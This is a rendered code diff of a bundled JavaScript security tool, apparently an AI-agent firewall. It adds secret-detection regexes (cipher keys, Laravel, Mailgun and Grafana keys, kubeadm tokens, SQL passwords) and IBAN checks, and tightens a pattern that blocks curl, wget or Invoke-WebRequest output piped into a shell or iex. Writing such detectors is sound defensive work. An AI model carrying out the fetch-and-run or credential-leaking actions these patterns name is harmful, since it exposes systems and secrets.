TAR_MODE_WORD = /^[a-zA-Z]+$/;
|
|
4509
4751
|
COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
|
|
@@ -6934,6 +7176,29 @@ zoo`.split("\n");
|
|
|
6934
7176
|
XK: 20,
|
|
6935
7177
|
YE: 30
|
|
6936
7178
|
};
|
|
7179
|
+
IBAN_BBAN_SHAPE = {
|
|
7180
|
+
AT: /^\d{16}$/,
|
|
7181
|
+
BE: /^\d{12}$/,
|
|
7182
|
+
CH: /^\d{5}[A-Z0-9]{12}$/,
|
|
7183
|
+
CZ: /^\d{20}$/,
|
|
7184
|
+
DE: /^\d{18}$/,
|
|
7185
|
+
DK: /^\d{14}$/,
|
|
7186
|
+
ES: /^\d{20}$/,
|
|
7187
|
+
FI: /^\d{14}$/,
|
|
7188
|
+
FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
|
|
7189
|
+
GB: /^[A-Z]{4}\d{14}$/,
|
|
7190
|
+
HU: /^\d{24}$/,
|
|
7191
|
+
IE: /^[A-Z]{4}\d{14}$/,
|
|
7192
|
+
IL: /^\d{19}$/,
|
|
7193
|
+
IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
|
|
7194
|
+
LU: /^\d{3}[A-Z0-9]{13}$/,
|
|
7195
|
+
NL: /^[A-Z]{4}\d{10}$/,
|
|
7196
|
+
NO: /^\d{11}$/,
|
|
7197
|
+
PL: /^\d{24}$/,
|
|
7198
|
+
PT: /^\d{21}$/,
|
|
7199
|
+
RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
|
|
7200
|
+
SE: /^\d{20}$/
|
|
7201
|
+
};
|
|
6937
7202
|
B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
|
|
6938
7203
|
B58_INDEX = Object.fromEntries(
|
|
6939
7204
|
[...B58].map((c, i) => [c, i])
|
|
@@ -6948,75 +7213,54 @@ zoo`.split("\n");
|
|
|
6948
7213
|
);
|
|
6949
7214
|
CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
|
|
6950
7215
|
CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
|
|
6951
|
-
|
|
6952
|
-
|
|
6953
|
-
|
|
6954
|
-
|
|
6955
|
-
|
|
6956
|
-
|
|
6957
|
-
|
|
6958
|
-
|
|
6959
|
-
|
|
6960
|
-
|
|
6961
|
-
|
|
6962
|
-
|
|
6963
|
-
|
|
6964
|
-
|
|
6965
|
-
|
|
6966
|
-
|
|
6967
|
-
|
|
6968
|
-
|
|
6969
|
-
|
|
6970
|
-
|
|
6971
|
-
|
|
6972
|
-
|
|
6973
|
-
|
|
6974
|
-
|
|
6975
|
-
|
|
6976
|
-
|
|
6977
|
-
|
|
6978
|
-
|
|
6979
|
-
|
|
6980
|
-
|
|
6981
|
-
|
|
6982
|
-
|
|
6983
|
-
|
|
6984
|
-
|
|
6985
|
-
|
|
6986
|
-
|
|
6987
|
-
|
|
6988
|
-
|
|
6989
|
-
|
|
6990
|
-
|
|
6991
|
-
|
|
6992
|
-
|
|
6993
|
-
|
|
6994
|
-
|
|
6995
|
-
|
|
6996
|
-
|
|
6997
|
-
|
|
6998
|
-
|
|
6999
|
-
\u03C4: "t",
|
|
7000
|
-
\u03C5: "u",
|
|
7001
|
-
\u03C7: "x",
|
|
7002
|
-
\u03B3: "y",
|
|
7003
|
-
// Greek uppercase
|
|
7004
|
-
\u0391: "A",
|
|
7005
|
-
\u0392: "B",
|
|
7006
|
-
\u0395: "E",
|
|
7007
|
-
\u0396: "Z",
|
|
7008
|
-
\u0397: "H",
|
|
7009
|
-
\u0399: "I",
|
|
7010
|
-
\u039A: "K",
|
|
7011
|
-
\u039C: "M",
|
|
7012
|
-
\u039D: "N",
|
|
7013
|
-
\u039F: "O",
|
|
7014
|
-
\u03A1: "P",
|
|
7015
|
-
\u03A4: "T",
|
|
7016
|
-
\u03A5: "Y",
|
|
7017
|
-
\u03A7: "X"
|
|
7018
|
-
};
|
|
7019
|
-
HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
7216
|
+
CF_ODD = {};
|
|
7217
|
+
CF_EVEN = {};
|
|
7218
|
+
{
|
|
7219
|
+
const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
7220
|
+
const odd = [
|
|
7221
|
+
1,
|
|
7222
|
+
0,
|
|
7223
|
+
5,
|
|
7224
|
+
7,
|
|
7225
|
+
9,
|
|
7226
|
+
13,
|
|
7227
|
+
15,
|
|
7228
|
+
17,
|
|
7229
|
+
19,
|
|
7230
|
+
21,
|
|
7231
|
+
1,
|
|
7232
|
+
0,
|
|
7233
|
+
5,
|
|
7234
|
+
7,
|
|
7235
|
+
9,
|
|
7236
|
+
13,
|
|
7237
|
+
15,
|
|
7238
|
+
17,
|
|
7239
|
+
19,
|
|
7240
|
+
21,
|
|
7241
|
+
2,
|
|
7242
|
+
4,
|
|
7243
|
+
18,
|
|
7244
|
+
20,
|
|
7245
|
+
11,
|
|
7246
|
+
3,
|
|
7247
|
+
6,
|
|
7248
|
+
8,
|
|
7249
|
+
12,
|
|
7250
|
+
14,
|
|
7251
|
+
16,
|
|
7252
|
+
10,
|
|
7253
|
+
22,
|
|
7254
|
+
25,
|
|
7255
|
+
24,
|
|
7256
|
+
23
|
|
7257
|
+
];
|
|
7258
|
+
for (let i = 0; i < alphabet.length; i++) {
|
|
7259
|
+
const c = alphabet[i];
|
|
7260
|
+
CF_ODD[c] = odd[i];
|
|
7261
|
+
CF_EVEN[c] = i < 10 ? i : i - 10;
|
|
7262
|
+
}
|
|
7263
|
+
}
|
|
7020
7264
|
ASSIGNMENT_CONTEXT_RE = /\b(?:password|passwd|secret|token|api[_-]?key|auth(?:_key|_token)?|credential|private[_-]?key|access[_-]?key|client[_-]?secret)\s*[=:]\s*/i;
|
|
7021
7265
|
DLP_STOPWORDS = [
|
|
7022
7266
|
"example",
|
|
@@ -7050,18 +7294,42 @@ zoo`.split("\n");
|
|
|
7050
7294
|
DOTTED_REFERENCE_RE = /^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/;
|
|
7051
7295
|
CONCATENATION_RE = /^\+[A-Za-z_$][\w$]*\./;
|
|
7052
7296
|
EMAIL_VALUE_RE = /^[^@\s]+@[^@\s]+\.[A-Za-z]{2,}$/;
|
|
7053
|
-
FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
|
|
7297
|
+
FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
|
|
7054
7298
|
DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
|
|
7055
7299
|
QUERY_CREDENTIAL_VALUE_RE = /=([A-Za-z0-9%+/_.~-]{8,512}={0,2})$/;
|
|
7056
7300
|
OTP_SECRET_RE = /^[A-Z2-7]{16,}=*$/i;
|
|
7057
7301
|
OTP_DOC_SECRETS = /* @__PURE__ */ new Set(["JBSWY3DPEHPK3PXP", "GEZDGNBVGY3TQOJQ"]);
|
|
7058
|
-
ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_
|
|
7302
|
+
ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
|
|
7059
7303
|
ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
|
|
7060
|
-
NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
7304
|
+
NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
7061
7305
|
ARN_CONTEXT_RE = /\barn:[A-Za-z0-9-]*:[^\s"'`]*$/i;
|
|
7306
|
+
CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
|
|
7307
|
+
CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
|
|
7308
|
+
"cipher",
|
|
7309
|
+
"aes",
|
|
7310
|
+
"enc",
|
|
7311
|
+
"encrypt",
|
|
7312
|
+
"encryption",
|
|
7313
|
+
"crypt",
|
|
7314
|
+
"crypto",
|
|
7315
|
+
"secret",
|
|
7316
|
+
"remember",
|
|
7317
|
+
"rememberme",
|
|
7318
|
+
"shiro",
|
|
7319
|
+
"signing",
|
|
7320
|
+
"hmac",
|
|
7321
|
+
"master",
|
|
7322
|
+
"private",
|
|
7323
|
+
"des"
|
|
7324
|
+
]);
|
|
7325
|
+
CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
|
|
7326
|
+
LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
|
|
7327
|
+
SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
|
|
7328
|
+
GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
|
|
7062
7329
|
BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
|
|
7063
7330
|
BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
|
|
7064
7331
|
OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
|
|
7332
|
+
DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
|
|
7065
7333
|
DLP_PATTERNS = [
|
|
7066
7334
|
// ── AWS ───────────────────────────────────────────────────────────────────
|
|
7067
7335
|
{
|
|
@@ -7259,7 +7527,8 @@ zoo`.split("\n");
|
|
|
7259
7527
|
// ── Private keys (PEM) ────────────────────────────────────────────────────
|
|
7260
7528
|
{
|
|
7261
7529
|
name: "Private Key (PEM)",
|
|
7262
|
-
|
|
7530
|
+
// DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
|
|
7531
|
+
regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
|
|
7263
7532
|
severity: "block",
|
|
7264
7533
|
keywords: ["-----begin"]
|
|
7265
7534
|
},
|
|
@@ -7540,7 +7809,7 @@ zoo`.split("\n");
|
|
|
7540
7809
|
"clickhouse",
|
|
7541
7810
|
"cassandra"
|
|
7542
7811
|
],
|
|
7543
|
-
|
|
7812
|
+
validate: validateDbConnectionString
|
|
7544
7813
|
},
|
|
7545
7814
|
// ── Credential in a URL query value ───────────────────────────────────────
|
|
7546
7815
|
// A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
|
|
@@ -7569,6 +7838,63 @@ zoo`.split("\n");
|
|
|
7569
7838
|
redactGroup: 1,
|
|
7570
7839
|
argumentsOnly: true
|
|
7571
7840
|
},
|
|
7841
|
+
// ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
|
|
7842
|
+
// All review and argumentsOnly, like Assigned Secret: the live gate asks,
|
|
7843
|
+
// the raw scanners stay as they were.
|
|
7844
|
+
{
|
|
7845
|
+
name: "Cipher Key Literal",
|
|
7846
|
+
regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
|
|
7847
|
+
severity: "review",
|
|
7848
|
+
keywords: ["key"],
|
|
7849
|
+
validate: validateCipherKeyLiteral,
|
|
7850
|
+
redactGroup: 2,
|
|
7851
|
+
argumentsOnly: true
|
|
7852
|
+
},
|
|
7853
|
+
{
|
|
7854
|
+
name: "Laravel App Key",
|
|
7855
|
+
regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
|
|
7856
|
+
severity: "review",
|
|
7857
|
+
keywords: ["app_key"],
|
|
7858
|
+
validate: validateLaravelAppKey,
|
|
7859
|
+
redactGroup: 1,
|
|
7860
|
+
argumentsOnly: true
|
|
7861
|
+
},
|
|
7862
|
+
{
|
|
7863
|
+
// `key-` plus 32 hex characters, Mailgun's legacy private key shape.
|
|
7864
|
+
name: "Mailgun API Key",
|
|
7865
|
+
regex: /\bkey-[0-9a-f]{32}\b/,
|
|
7866
|
+
severity: "review",
|
|
7867
|
+
keywords: ["key-"],
|
|
7868
|
+
argumentsOnly: true
|
|
7869
|
+
},
|
|
7870
|
+
{
|
|
7871
|
+
// A kubeadm bootstrap token, named as one by its flag or key.
|
|
7872
|
+
name: "Kubeadm Bootstrap Token",
|
|
7873
|
+
regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
|
|
7874
|
+
severity: "review",
|
|
7875
|
+
keywords: ["token"],
|
|
7876
|
+
redactGroup: 1,
|
|
7877
|
+
argumentsOnly: true
|
|
7878
|
+
},
|
|
7879
|
+
{
|
|
7880
|
+
// `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
|
|
7881
|
+
name: "SQL Account Password",
|
|
7882
|
+
regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
|
|
7883
|
+
severity: "review",
|
|
7884
|
+
keywords: ["identified by", "with password"],
|
|
7885
|
+
validate: validateSqlPassword,
|
|
7886
|
+
redactGroup: 1,
|
|
7887
|
+
argumentsOnly: true
|
|
7888
|
+
},
|
|
7889
|
+
{
|
|
7890
|
+
// The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
|
|
7891
|
+
name: "Grafana API Key",
|
|
7892
|
+
regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
|
|
7893
|
+
severity: "block",
|
|
7894
|
+
keywords: ["eyjrijoi"],
|
|
7895
|
+
validate: validateGrafanaApiKey,
|
|
7896
|
+
redactGroup: 1
|
|
7897
|
+
},
|
|
7572
7898
|
// ── Secret assigned to a telling name ─────────────────────────────────────
|
|
7573
7899
|
// `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
|
|
7574
7900
|
// not a finding: most such lines hold a reference (`process.env.X`), a
|
|
@@ -7581,7 +7907,10 @@ zoo`.split("\n");
|
|
|
7581
7907
|
// name are written out, not as a counted group, to keep star height 1.
|
|
7582
7908
|
{
|
|
7583
7909
|
name: "Assigned Secret",
|
|
7584
|
-
|
|
7910
|
+
// fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
|
|
7911
|
+
// backtick may close the name; `|` and `\` may occur in the value
|
|
7912
|
+
// (`\/` is how JSON escapes a slash).
|
|
7913
|
+
regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
|
|
7585
7914
|
severity: "review",
|
|
7586
7915
|
keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
|
|
7587
7916
|
validate: validateAssignedSecret,
|
|
@@ -10303,8 +10632,10 @@ var init_config = __esm({
|
|
|
10303
10632
|
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
10304
10633
|
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
10305
10634
|
// either list gains a name this regex does not. The PowerShell sinks
|
|
10306
|
-
// carry \b so `iex` cannot match inside e.g. `iexplore
|
|
10307
|
-
|
|
10635
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`, and so does
|
|
10636
|
+
// `sh`, so a quoted body containing `| Shipment` is not a shell
|
|
10637
|
+
// (fw#372 X3, node9Firewall#332).
|
|
10638
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh\\b|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
10308
10639
|
flags: "i"
|
|
10309
10640
|
}
|
|
10310
10641
|
],
|